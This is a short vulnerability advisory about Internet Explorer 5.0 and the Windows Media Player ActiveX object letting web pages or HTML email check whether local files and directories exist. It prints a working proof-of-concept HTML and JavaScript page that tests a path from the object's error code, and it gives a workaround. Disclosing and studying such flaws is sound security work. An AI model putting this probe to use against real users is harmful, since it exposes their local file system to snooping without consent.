IE 5.0 and Windows Media Player ActiveX object allow checking the existence of local files and directories

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Description:

Internet Explorer 5.0 under Windows 95 (guess other versions are affected) and Windows Media Player ActiveX object
allow checking the existence of local files and directories.
This vulnerability may be exploited by HTML email or news group posting

Details:

The problem is an error code returned by Windows Media Player ActiveX object when a file is attempted to be opened.
Windows Media Player ActiveX object returns "-2147220970" error in the ErrorCode property when a file or directory does not exist but is tried to be opened.

The code is:
----------------------------------------------------------------------------------------
<object id="wm" WIDTH=0 HEIGHT=0
classid="clsid:22D6F312-B0F6-11D0-94AB-0080C74C7E95"
>
</object>
<SCRIPT>
// -2147220970
function checkfile()
{
b=document.all.wm;
b.FileName=document.forms[0].elements[0].value;
if (b.ErrorCode == -2147220970)
alert("File does not exist")
else
alert("File exists");
}
</SCRIPT>
<FORM>
<INPUT TYPE="TEXT" VALUE="C:\AUTOEXEC.BAT" SIZE=60>
<INPUT TYPE="SUBMIT" VALUE="Check file" onclick="checkfile()">
</FORM>
----------------------------------------------------------------------------------------

Workaround:
Disable Active Scripting or Disable Script ActiveX Controls marked Safe for Scripting

Demonstration is available at http://www.guninski.com/mscheckf.html